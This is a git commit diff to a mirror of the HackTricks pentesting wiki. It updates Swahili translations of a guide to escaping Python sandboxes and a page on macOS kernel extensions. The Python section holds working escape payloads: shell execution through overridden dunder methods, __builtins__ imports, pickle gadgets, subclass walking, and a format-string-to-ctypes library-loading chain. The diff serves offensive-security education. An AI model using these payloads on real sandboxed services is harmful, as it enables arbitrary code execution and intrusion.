mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-20 16:08:27 +00:00
Translated ['generic-methodologies-and-resources/python/bypass-python-sa
This commit is contained in:
parent
78e9df600f
commit
e5e7fe3985
4 changed files with 124 additions and 62 deletions
SUMMARY.md
generic-methodologies-and-resources/python/bypass-python-sandboxes
macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture
pentesting-web
|
@ -148,7 +148,7 @@
|
|||
* [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
|
||||
* [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
|
||||
* [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
|
||||
* [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
|
||||
* [macOS Kernel Extensions & Debugging](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
|
||||
* [macOS Kernel Vulnerabilities](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md)
|
||||
* [macOS System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md)
|
||||
* [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Bypass Python sandboxes
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Hizi ni baadhi ya mbinu za kupita kinga za sandbox za python na kutekeleza amri zisizo na mipaka.
|
||||
Hizi ni baadhi ya mbinu za kupita kinga za sanduku la python na kutekeleza amri zisizo na mipaka.
|
||||
|
||||
## Maktaba za Kutekeleza Amri
|
||||
|
||||
|
@ -52,7 +52,7 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Kumbuka kwamba _**open**_ na _**read**_ kazi zinaweza kuwa na manufaa ili **kusoma faili** ndani ya sandbox ya python na **kuandika baadhi ya msimbo** ambao unaweza **kutekeleza** ili **kuzidi** sandbox.
|
||||
Kumbuka kwamba _**open**_ na _**read**_ kazi zinaweza kuwa na manufaa ili **kusoma faili** ndani ya sandbox ya python na **kuandika baadhi ya msimbo** ambao unaweza **kutekeleza** ili **kuepuka** sandbox.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Python2 input()** kazi inaruhusu kutekeleza msimbo wa python kabla ya programu kuanguka.
|
||||
|
@ -62,12 +62,12 @@ Python hujaribu **kuchota maktaba kutoka kwa saraka ya sasa kwanza** (amri ifuat
|
|||
|
||||
.png>)
|
||||
|
||||
## Kuzidi sandbox ya pickle na pakiti za python zilizowekwa kwa default
|
||||
## Kuepuka sandbox ya pickle na pakiti za python zilizowekwa kwa default
|
||||
|
||||
### Pakiti za default
|
||||
|
||||
Unaweza kupata **orodha ya pakiti zilizowekwa awali** hapa: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Kumbuka kwamba kutoka kwa pickle unaweza kufanya mazingira ya python **kuagiza maktaba yoyote** iliyowekwa kwenye mfumo.\
|
||||
Kumbuka kwamba kutoka kwa pickle unaweza kufanya mazingira ya python **kuagiza maktaba zisizo za kawaida** zilizowekwa katika mfumo.\
|
||||
Kwa mfano, pickle ifuatayo, itakapochukuliwa, itakuwa inagiza maktaba ya pip kuitumia:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
|
@ -197,7 +197,7 @@ Ikiwa unaweza **kutangaza darasa** na **kuunda kitu** cha darasa hilo unaweza **
|
|||
|
||||
#### RCE na madarasa ya kawaida
|
||||
|
||||
Unaweza kubadilisha baadhi ya **mbinu za darasa** (_kwa kupita mbinu za darasa zilizopo au kuunda darasa jipya_) ili kufanya ziweze **kutekeleza msimbo wa kawaida** wakati **zinapochochewa** bila kuziita moja kwa moja.
|
||||
Unaweza kubadilisha baadhi ya **mbinu za darasa** (_kwa kupita mbinu za darasa zilizopo au kuunda darasa jipya_) ili kufanya ziweze **kutekeleza msimbo wa kiholela** wakati **zinapochochewa** bila kuziita moja kwa moja.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -247,9 +247,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
|||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Kuunda vitu kwa [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
#### Kuunda vitu na [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Jambo muhimu ambalo metaclasses linatufanya ni **kuunda mfano wa darasa, bila kuita mjenzi** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
|
||||
Jambo muhimu ambalo metaclasses zinaturuhusu kufanya ni **kuunda mfano wa darasa, bila kuita mjenzi** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
@ -322,7 +322,7 @@ pass
|
|||
* [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Ikiwa unaweza kufikia kituo cha **`__builtins__`** unaweza kuagiza maktaba (zingatia kwamba unaweza pia kutumia hapa uwakilishi mwingine wa maandiko ulioonyeshwa katika sehemu ya mwisho):
|
||||
Ikiwa unaweza kufikia kitu **`__builtins__`** unaweza kuagiza maktaba (zingatia kwamba unaweza pia kutumia hapa uwakilishi mwingine wa mfuatano ulioonyeshwa katika sehemu ya mwisho):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
|
@ -392,7 +392,7 @@ __builtins__["__import__"]("os").system("ls")
|
|||
```
|
||||
## Globals and locals
|
||||
|
||||
Kuangalia **`globals`** na **`locals`** ni njia nzuri ya kujua ni nini unaweza kufikia.
|
||||
Kuangalia **`globals`** na **`locals`** ni njia nzuri ya kujua kile unachoweza kufikia.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
|
@ -416,9 +416,9 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Hapa kuna kazi kubwa zaidi**](./#recursive-search-of-builtins-globals) ya kutafuta makumi/**miyamoja** ya **mahali** ambapo unaweza kupata **globals**.
|
||||
[**Hapa kuna kazi kubwa zaidi**](./#recursive-search-of-builtins-globals) ya kutafuta makumi/**mamia** ya **mahali** ambapo unaweza kupata **globals**.
|
||||
|
||||
## Gundua Utendaji wa Kijichochezi
|
||||
## Gundua Utendaji wa Kijinga
|
||||
|
||||
Hapa nataka kuelezea jinsi ya kugundua kwa urahisi **kazi hatari zaidi zilizopakiwa** na kupendekeza mashambulizi ya kuaminika zaidi.
|
||||
|
||||
|
@ -454,7 +454,7 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
```
|
||||
### Kutafuta maktaba hatari zilizopakiwa
|
||||
|
||||
Kwa mfano, kujua kwamba kwa maktaba **`sys`** inawezekana **kuagiza maktaba zisizo na mipaka**, unaweza kutafuta **moduli zote zilizopakiwa ambazo zimeagiza sys ndani yao**:
|
||||
Kwa mfano, kujua kwamba kwa kutumia maktaba **`sys`** inawezekana **kuagiza maktaba zisizo na mipaka**, unaweza kutafuta **moduli zote zilizopakiwa ambazo zinaagiza sys ndani yao**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
|
@ -498,7 +498,7 @@ Tunaweza kufanya jambo hilo hilo na **maktaba nyingine** ambazo tunajua zinaweza
|
|||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Zaidi ya hayo, tunaweza hata kutafuta ni moduli zipi zinazoleta maktaba za uhalifu:
|
||||
Zaidi ya hayo, tunaweza hata kutafuta ni moduli zipi zinazopakia maktaba za uhalifu:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
|
@ -679,11 +679,6 @@ You can check the output of this script on this page:
|
|||
## Python Format String
|
||||
|
||||
Ikiwa unatumia **string** kwa python ambayo itafanywa **formatted**, unaweza kutumia `{}` kufikia **habari za ndani za python.** Unaweza kutumia mifano ya awali kufikia globals au builtins kwa mfano.
|
||||
|
||||
{% hint style="info" %}
|
||||
Hata hivyo, kuna **kikomo**, unaweza tu kutumia alama `.[]`, hivyo huwezi **kufanya kazi yoyote isiyo ya kawaida**, bali kusoma habari.\
|
||||
_**Ikiwa unajua jinsi ya kutekeleza msimbo kupitia udhaifu huu, tafadhali niwasiliane.**_
|
||||
{% endhint %}
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -743,16 +738,60 @@ Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma **habari nyeti kutoka kwa
|
|||
|
||||
# Access an element through several links
|
||||
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
|
||||
|
||||
# Example from https://corgi.rip/posts/buckeye-writeups/
|
||||
secret_variable = "clueless"
|
||||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
## Kuchambua Vitu vya Python
|
||||
### Kutoka muundo hadi RCE kupakia maktaba
|
||||
|
||||
Kulingana na [**TypeMonkey chall kutoka kwa andiko hili**](https://corgi.rip/posts/buckeye-writeups/), inawezekana kupakia maktaba zisizo za kawaida kutoka kwenye diski kwa kutumia udhaifu wa muundo wa mfuatano katika python.
|
||||
|
||||
Kama ukumbusho, kila wakati kitendo kinapofanywa katika python, kazi fulani inatekelezwa. Kwa mfano, `2*3` itatekeleza **`(2).mul(3)`** au **`{'a':'b'}['a']`** itakuwa **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Una mengi kama haya katika sehemu [**Python execution without calls**](./#python-execution-without-calls).
|
||||
|
||||
Udhaifu wa muundo wa mfuatano wa python haukuruhusu kutekeleza kazi (haukuruhusu kutumia mabano), hivyo si rahisi kupata RCE kama `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Hata hivyo, inawezekana kutumia `[]`. Kwa hivyo, ikiwa maktaba ya kawaida ya python ina **`__getitem__`** au **`__getattr__`** ambayo inatekeleza msimbo usio wa kawaida, inawezekana kuutumia vibaya ili kupata RCE.
|
||||
|
||||
Kutafuta kifaa kama hicho katika python, andiko linapendekeza hii [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Ambapo alipata hii [moja](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
self._dlltype = dlltype
|
||||
|
||||
def __getattr__(self, name):
|
||||
if name[0] == '_':
|
||||
raise AttributeError(name)
|
||||
try:
|
||||
dll = self._dlltype(name)
|
||||
except OSError:
|
||||
raise AttributeError(name)
|
||||
setattr(self, name, dll)
|
||||
return dll
|
||||
|
||||
def __getitem__(self, name):
|
||||
return getattr(self, name)
|
||||
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Hii kifaa inaruhusu **kupakia maktaba kutoka diski**. Kwa hivyo, inahitajika kwa namna fulani **kuandika au kupakia maktaba ili kupakia** iliyokusanywa ipasavyo kwenye seva iliyoathiriwa.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
|
||||
|
||||
## Dissecting Python Objects
|
||||
|
||||
{% hint style="info" %}
|
||||
Ikiwa unataka **kujifunza** kuhusu **python bytecode** kwa undani soma hii **kuandika** nzuri kuhusu mada: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
Katika baadhi ya CTFs unaweza kupewa jina la **kazi maalum ambapo bendera** inapatikana na unahitaji kuona **mambo ya ndani** ya **kazi** ili kuipata.
|
||||
Katika baadhi ya CTFs unaweza kupatiwa jina la **kazi maalum ambapo bendera** inapatikana na unahitaji kuona **mambo ya ndani** ya **kazi** hiyo ili kuipata.
|
||||
|
||||
Hii ndiyo kazi ya kuchambua:
|
||||
Hii ndiyo kazi ya kukagua:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -785,7 +824,7 @@ CustomClassObject.__class__.__init__.__globals__
|
|||
|
||||
### **Kufikia msimbo wa kazi**
|
||||
|
||||
**`__code__`** na `func_code`: Unaweza **kufikia** sifa hii ya kazi ili **kupata kitu cha msimbo** cha kazi.
|
||||
**`__code__`** na `func_code`: Unaweza **kufikia** sifa hii ya kazi ili **kupata kitu cha msimbo** cha kazi hiyo.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
|
@ -895,10 +934,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Compiling Python
|
||||
## Kuunda Python
|
||||
|
||||
Sasa, hebu tufikirie kwamba kwa namna fulani unaweza **kutoa taarifa kuhusu kazi ambayo huwezi kuendesha** lakini unahitaji **kuendesha**.\
|
||||
Kama katika mfano ufuatao, unaweza **kufikia kitu cha msimbo** cha kazi hiyo, lakini kwa kusoma tu disassemble hujui jinsi ya kuhesabu bendera** (_fikiria kazi ngumu zaidi ya `calc_flag`_)
|
||||
Kama katika mfano ufuatao, unaweza **kufikia kituo cha msimbo** cha kazi hiyo, lakini kwa kusoma tu disassemble hujui jinsi ya kuhesabu bendera** (_fikiria kazi ngumu zaidi ya `calc_flag`_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -988,7 +1027,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Ikiwa huwezi kufikia `eval` au `exec` unaweza kuunda **kazi sahihi**, lakini kuitwa moja kwa moja kawaida kutashindwa na: _mwandamizi haupatikani katika hali iliyozuiliwa_. Hivyo unahitaji **kazi ambayo si katika mazingira yaliyopunguzika ili kuitwa kazi hii.**
|
||||
Ikiwa huwezi kufikia `eval` au `exec` unaweza kuunda **kazi sahihi**, lakini kuitaja moja kwa moja kawaida kutashindwa na: _mwandamizi haupatikani katika hali iliyozuiliwa_. Hivyo unahitaji **kazi ambayo haipo katika mazingira yaliyopunguzika kuitaja kazi hii.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1031,18 +1070,17 @@ will be bypassed
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Kernel Extensions
|
||||
# macOS Kernel Extensions & Debugging
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -17,25 +17,25 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
## Basic Information
|
||||
|
||||
Kernel extensions (Kexts) ni **paket** zenye **`.kext`** upanuzi ambazo **zinapakiwa moja kwa moja kwenye nafasi ya kernel ya macOS**, zikitoa kazi za ziada kwa mfumo mkuu wa uendeshaji.
|
||||
Kernel extensions (Kexts) ni **pakiti** zenye **`.kext`** upanuzi ambazo **zinapakiwa moja kwa moja kwenye nafasi ya kernel ya macOS**, zikitoa kazi za ziada kwa mfumo mkuu wa uendeshaji.
|
||||
|
||||
### Requirements
|
||||
|
||||
Kwa wazi, hii ni nguvu sana kwamba ni **ngumu kupakia upanuzi wa kernel**. Hizi ndizo **mahitaji** ambayo upanuzi wa kernel lazima ukidhi ili upakie:
|
||||
Kwa wazi, hii ni nguvu sana kiasi kwamba ni **ngumu kupakia upanuzi wa kernel**. Hizi ndizo **mahitaji** ambayo upanuzi wa kernel lazima ukidhi ili upakie:
|
||||
|
||||
* Wakati wa **kuingia kwenye hali ya urejelezi**, **upanuzi wa kernel lazima ruhusiwe** kupakiwa:
|
||||
* Wakati wa **kuingia kwenye hali ya urejeleaji**, **upanuzi wa kernel lazima uruhusiwe** kupakiwa:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Upanuzi wa kernel lazima uwe **umetiwa saini na cheti cha saini ya msimbo wa kernel**, ambacho kinaweza tu **kupewa na Apple**. Nani atakayeangalia kwa undani kampuni na sababu zinazohitajika.
|
||||
* Upanuzi wa kernel lazima pia uwe **umekaguliwa**, Apple itakuwa na uwezo wa kuangalia kwa malware.
|
||||
* Upanuzi wa kernel lazima pia uwe **umethibitishwa**, Apple itakuwa na uwezo wa kuangalia kwa malware.
|
||||
* Kisha, mtumiaji wa **root** ndiye anayeweza **kupakia upanuzi wa kernel** na faili ndani ya pakiti lazima **zihusiane na root**.
|
||||
* Wakati wa mchakato wa kupakia, pakiti lazima iwe tayari katika **mahali salama yasiyo ya root**: `/Library/StagedExtensions` (inahitaji ruhusa ya `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
* Hatimaye, wakati wa kujaribu kuipakia, mtumiaji atapokea [**ombile la uthibitisho**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) na, ikiwa itakubaliwa, kompyuta lazima **irejeshwe** ili kuipakia.
|
||||
|
||||
### Loading process
|
||||
|
||||
Katika Catalina ilikuwa hivi: Ni muhimu kutambua kwamba mchakato wa **uthibitishaji** unafanyika katika **userland**. Hata hivyo, ni programu pekee zenye ruhusa ya **`com.apple.private.security.kext-management`** zinaweza **kuomba kernel kupakia upanuzi**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
Katika Catalina ilikuwa hivi: Ni muhimu kutambua kwamba mchakato wa **uthibitishaji** unafanyika katika **userland**. Hata hivyo, programu pekee zenye ruhusa ya **`com.apple.private.security.kext-management`** zinaweza **kuomba kernel kupakia upanuzi**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **inaanza** mchakato wa **uthibitishaji** wa kupakia upanuzi
|
||||
* Itazungumza na **`kextd`** kwa kutuma kwa kutumia **Huduma ya Mach**.
|
||||
|
@ -58,7 +58,7 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
|||
## Kernelcache
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ingawa nyongeza za kernel zinatarajiwa kuwa katika `/System/Library/Extensions/`, ukitembelea folda hii **hutapata binary yoyote**. Hii ni kwa sababu ya **kernelcache** na ili kubadilisha moja ya `.kext` unahitaji kupata njia ya kuipata.
|
||||
Ingawa nyongeza za kernel zinatarajiwa kuwa katika `/System/Library/Extensions/`, ukitembea kwenye folda hii **hutapata binary yoyote**. Hii ni kwa sababu ya **kernelcache** na ili kubadilisha moja `.kext` unahitaji kupata njia ya kuipata.
|
||||
{% endhint %}
|
||||
|
||||
**Kernelcache** ni **toleo lililotayarishwa na kuunganishwa la kernel ya XNU**, pamoja na madereva muhimu na **nyongeza za kernel**. Inahifadhiwa katika muundo wa **kimecompressed** na inachukuliwa kwenye kumbukumbu wakati wa mchakato wa kuanzisha. Kernelcache inarahisisha **wakati wa kuanzisha haraka** kwa kuwa na toleo lililo tayari la kernel na madereva muhimu yanayopatikana, kupunguza muda na rasilimali ambazo zingetumika kwa kupakia na kuunganisha vipengele hivi kwa wakati wa kuanzisha.
|
||||
|
@ -72,13 +72,13 @@ Katika kesi yangu katika macOS niliipata katika:
|
|||
|
||||
#### IMG4
|
||||
|
||||
